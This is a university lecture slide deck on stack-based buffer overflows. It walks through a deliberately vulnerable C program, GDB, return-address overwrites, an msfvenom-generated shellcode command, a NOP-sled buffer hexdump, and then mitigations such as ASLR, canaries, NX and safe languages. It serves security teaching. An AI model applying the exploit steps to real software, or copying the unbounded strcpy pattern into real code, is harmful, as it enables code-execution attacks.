0% found this document useful (0 votes)
4 views

Slides

Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
4 views

Slides

Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 51

Stack-Based Buffer Overflows

Frankfurt University of Applied Sciences


Research Group for Network Security, Information Security and Data Protection
https://fg-itsec.de/

. . . .... .... .... . . . . .


Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

Outline

Introduction

Debugger

Overflowing into Variables

Code Injection

Mitigations

Conclusion

. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

Goals of this lecture

▶ understand basics of stack-based exploitation


▶ know about common mitigations
▶ learn tools for practical exercises

. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

Memory safety
Memory is protected against illegitimate memory access, e.g. by
attackers, to compromise the system.
▶ spatial safety: don’t access memory outside of
variables/objects/arrays/buffers
▶ temporal safety: don’t access memory that’s no longer valid
▶ what is valid or legitimate depends on application logic

We will look at buffer overflows, a kind of spatial memory safety


violation that can be used to gain arbitrary code execution.

Current computers use von Neumann architecture:


▶ code = data
▶ code and data share same memory / address space
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

Memory safety is important


C and C++ are not memory-safe, yet common in critical software.
Many security vulnerabilities are due to memory safety violations:

Software Percentage
Android1 ca. 90%
Windows2 ca. 70%
iOS and macOS3 ca. 70%
Chromium4 ca. 70%

1 https://security.googleblog.com/2019/05/

queue-hardening-enhancements.html
2 https://msrc-blog.microsoft.com/2019/07/18/

we-need-a-safer-systems-programming-language/
3 https://langui.sh/2019/07/23/apple-memory-safety/
4 https://www.chromium.org/Home/chromium-security/memory-safety
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

Well-known vulnerabilities due to memory safety

▶ WannaCry/EternalBlue (2017, SMB/Windows, arbitrary code


execution)
▶ Heartbleed (2014, OpenSSL, extracting encryption keys)
▶ Stagefright (2015, Android, arbitrary code execution)

. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

Stack-based buffer overflows

Definition
On many C implementations it is possible to corrupt the execution
stack by writing past the end of an array declared auto in a
routine. Code that does this is said to smash the stack, and can
cause return from the routine to jump to a random address. This
can produce some of the most insidious data-dependent bugs
known to mankind.
– Aleph One: Smashing the stack for fun and profit5

Will be explained shortly.

5 http://phrack.org/issues/49/14.html . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

Example program: main() function

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdbool.h>

int demo(char∗ password);

int main(int argc, char∗ argv []) {


demo(argv[1]);
return 0;
}

. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

Example program: demo() function


int demo(char∗ password) {
bool isAuthenticated = false;
bool isExecuted = false;
char buffer [150];

strcpy(buffer , password); // Copy argument into buffer

if (strcmp(buffer, ”overflowdemo”)) {
printf (”Wrong password\n”);
} else {
printf (”Correct password\n”);
isAuthenticated = true;
}

if (isAuthenticated) {
printf (”Executing infopanel\n”);
system(”/usr/bin/xfce4−about”);
isExecuted = true;
}

return isExecuted;
} . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

Demo

▶ code looks reasonable


▶ code does work correctly
▶ but we can crash the program with very long inputs!
▶ and we can inject arbitrary code!

. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

Outline

Introduction

Debugger

Overflowing into Variables

Code Injection

Mitigations

Conclusion

. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

Debugger

▶ tool to inspect a running program


▶ inspect contents of variables
▶ step through statements one at a time
▶ show stack traces
▶ set breakpoints (specific line, or change to variable)

. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

Using GDB

gdb --args ./code the-password

Typical commands:
▶ run
▶ break
▶ continue
▶ print
▶ info locals, info registers, info frame

For best results, must compile with debugging symbols


gcc -g -O0 ...

. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

Debugger demo

. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

Outline

Introduction

Debugger

Overflowing into Variables

Code Injection

Mitigations

Conclusion

. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

Memory is flat

char c; array x c
int x;
char array [4];
array[0] array[3] “array[4]”
▶ memory is like a big array of bytes
▶ no boundaries in between
▶ each byte has an address
▶ variables occupy different amounts of memory
▶ in the following: not to scale

. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

Stack, heap, and code

0x0000 0xFFFF

heap code ← stack

▶ different parts of the address space have different uses


▶ executable code + static variables
▶ heap for dynamic memory
▶ stack for temporary variables

. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

Stack layout

(unused) ← main() · · · before call

(unused) ← demo() main() · · · within demo()

buffer isE isA compiler-internal stack frame

saved register
ebx ebp ret
+ return address

. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

CPU registers

32-bit 64-bit purpose


eax, ebx, ecx, edx rax, rbx, rcx, rdx general purpose
esi, edi rsi, rdi indexing operations
ebp rbp stack frame pointer
esp rsp stack pointer
eip rip instruction pointer

. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

Calling conventions

▶ Arguments passed via stack (reverse order)


▶ eip pushed on stack by the CPU
▶ Function code pushes esp, ebp and possibly other registers
▶ Results passed back via eax register
▶ See other implementation-specific publications6 7

6 Section
3-9 Function Calling Sequence in
http://www.sco.com/developers/devspecs/abi386-4.pdf
7 http://www.angelcode.com/dev/callconv/callconv.html
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

Return address
eip
··· ··· CALL · · · ··· RET · · · (stack) ···
main() demo()

eip
··· ··· CALL · · · ··· RET · · · (stack) ···
main() demo()

eip
··· ··· CALL · · · ··· RET · · · (stack) ···
main() demo()

eip
··· ··· CALL · · · ··· RET · · · (stack) ···
main() demo() . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

Overflow

(unused) buffer[150] isE isA ebx ebp ret main()

Normal password
(unused) buffer[150] · · ·
overflowdemo\0 isE isA ebx ebp ret main()

Overflow other variables


(unused) buffer[150] · · · overflow
overflowdemo isE isA ebx ebp ret main()

Overflow compiler-internal variables


(unused) buffer[150] · · · isE
overflowdemo · · · ·isA
· · · · ebx
· overflow
ebp ret main()

. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

Outline

Introduction

Debugger

Overflowing into Variables

Code Injection

Mitigations

Conclusion

. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

Overview of code injection

Goal: use external input to execute arbitrary code in the process.


This is possible because we control the contents of the buffer.

step how to achieve it


1. execute code of our choosing overflow into return address
2. inject executable code write code into buffer

. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

A hidden function

Our code contains an unreachable function:


// This function is unreachable.
void neverExecuted(){
printf (”This text should never be printed !\n”);
}

Using the debugger to find its location in the address space:


▶ b main – set any breakpoint
▶ run – start execution so that functions are loaded
▶ print neverExecuted

. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

Calculating offset of the return address

Sizes of variables in bytes (32-bit):


(unused) buffer[150] isE isA ebx ebp ret main()
150 1 1 4 4 4
SUM: 164 bytes
So we need to provide 164 bytes, with last 4 bytes for the target
address.

. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

Buffer contents to call neverExecuted()

variable contents description


buffer 0–11 something123 any password
buffer 12–149 0x01 × 138 fill remaining buffer
isExecuted 0x01 true value
isAuthenticated 0x01 true value
ebx 0x41414141 garbage
ebp 0x42424242 garbage
ret 0x0040128c address of neverExecuted()

▶ CPU uses little endian byte order


▶ so address 0x0040128c results in string … 8c 12 40 00
▶ null byte 00 is last, so no issue with strcpy()
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

Calling the hidden function

(demo)

What we saw:
▶ password is wrong
▶ infopanel still shown because isAuthenticated is true
▶ then demo() returns …
▶ … and neverExecuted() runs:
“This text should never be printed!”
▶ finally, program crashes because stack (EBP) was corrupted

. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

Return into library: no payload needed

Reusing existing code in the process is already a powerful attack!


▶ sometimes, a program already contains all the code we need
▶ then, can overwrite ret with the location of this code
▶ extreme form: “return-oriented programming”

. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

Injecting a custom payload

▶ previously: used code that was already in the process


▶ now: execute a custom payload
▶ example: open a calculator app

. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

Creating the payload

Shell command:
DISPLAY=:0 mate−calc
C code:
execve(
”/bin/sh”,
{”/bin/sh”, ”−c”, ”DISPLAY=:0 mate−calc”, NULL},
NULL);
Using Metasploit to generate injectable code:
msfvenom −p linux/x86/exec cmd=”DISPLAY=:0 mate−calc”
−−bad−chars ’\x00’ >payload_calc.bin

. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

How to overwrite the variables

variable contents description


buffer 0–44 0x90 × 45 NOP sled
buffer 45–127 payload (82 bytes) our code
buffer 128–149 0x90 × 22 padding
isExecuted 0x01 true value
isAuthenticated 0x01 true value
ebx 0x41414141 garbage
ebp 0x42424242 garbage
ret 0xbffffcf0 address of buffer

. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

Resulting buffer

hexdump -C buffer_layout.bin
00000000 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000020 90 90 90 90 90 90 90 90 90 90 90 90 90 bb b5 da |................|
00000030 93 cd da cb d9 74 24 f4 5a 31 c9 b1 0f 31 5a 12 |.....t$.Z1...1Z.|
00000040 83 c2 04 03 ef d4 71 38 65 e2 2d 5a 2b 92 a5 71 |......q8e.-Z+..q|
00000050 a8 d3 d1 e2 01 97 75 f3 35 78 e4 9a ab 0f 0b 0e |......u.5x......|
00000060 db 05 cc af 1b 62 85 fc 4b 26 54 5a 56 8c 66 7c |.....b..K&TZV.f||
00000070 c5 91 f2 19 38 31 9a 8d 21 b5 0b 1d 2c 54 7e 21 |....81..!...,T~!|
00000080 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................|
00000090 90 90 90 90 90 90 01 01 41 41 41 41 42 42 42 42 |........AAAABBBB|
000000a0 f0 fc ff bf |....|
000000a4

▶ reversed bytes for return address 0xbffffcf0 due to little-endian byte order
▶ your output might look different because msfvenom payload is polymorphic

. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

Diagram of resulting buffer

Stack layout:
(unused) buffer[150] isE isA ebx ebp ret main()

Overwritten contents:

(unused) NOPsbuffer[150]
payload NOPs true
isE true
isA 0x41
ebx 0x42
ebp ret main()

NOP instruction 0x90 is No Operation. This NOP sled means we


don’t have to hit the exact start of the buffer, just somewhere near
the start.

. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

Obtaining the buffer location

▶ using debugger: breakpoint in demo(), then print &buffer


▶ usually, location would change each time
▶ but we’ve disabled ASLR protection (explained later)
▶ stack location still depends on environment variables etc

. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

Demo of entire exploit

./ helloworld .x ”$(cat buffer_layout . bin)”

Expected behavior:
▶ strcpy() overflows the buffer
▶ shows xfce4-about infopanel because isAuthenticated is
true
▶ returns from function
▶ returns into our payload
▶ shows mate-calc program

. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

Outline

Introduction

Debugger

Overflowing into Variables

Code Injection

Mitigations

Conclusion

. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

Mitigation approaches

Can this exploit be prevented? Yes!

Mitigations on multiple levels: Classes of approaches:


▶ programmers ▶ prevent errors by design
▶ compilers ▶ do runtime checks
▶ operating systems ▶ make stack less predictable
▶ CPUs ▶ find vulnerable patterns

. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

Bounds checking

array x c

array[0] array[3] “array[4]”

▶ at run time, check that all access stay within their variable
▶ automatic in memory-safe languages
▶ requires that metadata about variables is available at run time

. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

ASLR (address space layout randomization)

▶ randomize location of memory sections


▶ but offsets within sections do not change
▶ global setting:
cat /proc/sys/kernel/randomize_va_space
▶ compiler flags to enable: -pie -fPIC
▶ can temporarily disable with setarch -R ...
▶ Limitation: only randomizes sections, not offsets in sections
▶ thus leakage of specific pointers can defeat ASLR

. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

Stack canaries

▶ magic values placed on stack before stack variables


▶ changes with each process invocation
▶ can be checked when leaving functions to prove stack integrity
▶ compiler flag to enable: -fstack-protector
▶ Limitation: can potentially be leaked, guessed, or brute-forced

. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

No-execute bit

▶ can flag memory pages as “not executable”


▶ enforced by the CPU, all x86-64 CPUs support this
▶ compiler can deactivate with -z execstack flag
▶ Limitation: does not prevent code reuse attacks
(return into library)

. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

Static analysis
Analyze program without running it to detect vulnerable patterns.
flawfinder helloworld.c
code.c:21: [4] ( buffer ) strcpy : Does not check for buffer overflows when
copying to destination [MS−banned] (CWE−120). Consider using
snprintf, strcpy_s, or strlcpy (warning: strncpy easily misused).

scan-build -enable-checker security gcc helloworld.c


code.c :21:5: warning: Call to function ’ strcpy ’ is insecure as it does not
provide bounding of the memory buffer. Replace unbounded copy
functions with analogous functions that support length arguments such
as ’ strlcpy ’. CWE−119 [security.insecureAPI.strcpy]
strcpy( buffer , password); // Copy argument into buffer
^~~~~~

Some static analysis is integrated into compilers,


e.g. gcc-11 -fanalyze
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

Dynamic analysis: Valgrind and AddressSanitizer


Insert runtime checks to detect memory safety violations.

Valgrind AddressSanitizer (ASAN)


▶ works similar to a ▶ compiler inserts
debugger bounds checks
▶ detects all presented
attacks

Limitations:
▶ high overhead, so only for testing
▶ tests are only as good as the test data → fuzzing
. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

Safer language: C++

▶ C++ has all the memory safety problems of C


▶ but also offers safer alternatives
▶ smart pointers (e.g. unique ptr, shared ptr)
▶ containers track size (e.g. vector)
▶ choice between checked vector.get(i)
and unchecked vector[i] accesses
▶ much safer string type, no strcpy() needed

. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

Safer languages: Rust

▶ goal: safe by default


▶ but still allows low-level control like C++
▶ strong type system can prove aspects of safety
▶ fallback: check bounds at run time

. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

Safer languages: Java, JavaScript, Python, …

▶ lots of memory-safe languages available


▶ no unrestricted pointers, no unchecked indexes
▶ caveat: language implementation often written in C/C++,
could be vulnerable on that level

. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

Hardware-assisted security

▶ Intel Memory Protection Extension (MPX)


▶ CPU-assisted bounds checks
▶ little use, slow, security flaws, already deprecated
▶ future: Intel Control-Flow Enforcement Technology (CET)
▶ Shadow stacks: prevent RET manipulation
▶ Indirect branch tracking: can only jump to ENDBRANCH
instructions

. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

Outline

Introduction

Debugger

Overflowing into Variables

Code Injection

Mitigations

Conclusion

. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Introduction Debugger Overflowing into Variables Code Injection Mitigations Conclusion

Recap

Today, we learned:
▶ reasonable-looking programs can have security issues
▶ buffer overflows can be used to hijack control flow
▶ setting flags like isAuthenticated
▶ calling different functions
▶ injecting attacker-controlled payloads
▶ but various defenses are available – use them

. . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . .
Question Time

. . . .... .... .... . . . . .

You might also like